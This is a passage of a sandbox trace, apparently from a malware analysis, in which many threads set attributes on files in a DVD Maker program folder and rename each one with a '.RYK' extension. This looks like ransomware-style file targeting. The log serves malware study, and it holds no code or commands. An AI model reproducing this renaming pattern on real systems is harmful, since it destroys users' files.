	[0228.974] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png", dwFileAttributes=0x80) returned 0
	[0228.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1109
	os_tid = 0x177c

	[0228.976] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png", dwFileAttributes=0x80) returned 0
	[0228.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1110
	os_tid = 0x1780

	[0228.996] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png", dwFileAttributes=0x80) returned 0
	[0229.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1111
	os_tid = 0x1784

	[0229.012] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png", dwFileAttributes=0x80) returned 0
	[0229.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1112
	os_tid = 0x1788

	[0229.017] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png", dwFileAttributes=0x80) returned 0
	[0229.027] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1113
	os_tid = 0x178c

	[0229.022] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png", dwFileAttributes=0x80) returned 0
	[0229.022] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1114
	os_tid = 0x1790

	[0229.041] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv", dwFileAttributes=0x80) returned 0
	[0229.045] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1115
	os_tid = 0x1794

	[0229.147] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0229.329] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1116
	os_tid = 0x1798

	[0229.150] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv", dwFileAttributes=0x80) returned 0
	[0229.330] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1117
	os_tid = 0x179c

	[0229.151] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0229.332] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1118
	os_tid = 0x17a0

	[0229.152] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv", dwFileAttributes=0x80) returned 0
	[0229.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1119
	os_tid = 0x17a4

	[0229.154] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0229.337] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1120
	os_tid = 0x17a8

	[0229.155] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0229.155] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1121
	os_tid = 0x17ac

	[0229.157] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.157] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1122
	os_tid = 0x17b0

	[0229.159] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png", dwFileAttributes=0x80) returned 0
	[0229.159] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1123
	os_tid = 0x17b4

	[0229.352] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.353] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1124
	os_tid = 0x17b8

	[0229.354] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.354] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1125
	os_tid = 0x17bc

	[0229.356] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0229.356] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1126
	os_tid = 0x17c0

	[0229.358] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0229.358] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1127
	os_tid = 0x17c4

	[0229.360] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", dwFileAttributes=0x80) returned 0
	[0229.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1128
	os_tid = 0x17c8

	[0229.362] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.362] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1129
	os_tid = 0x17cc

	[0229.364] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.364] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1130
	os_tid = 0x17d0

	[0229.366] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0229.366] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1131
	os_tid = 0x17d4

	[0229.368] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0229.368] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1132
	os_tid = 0x17d8

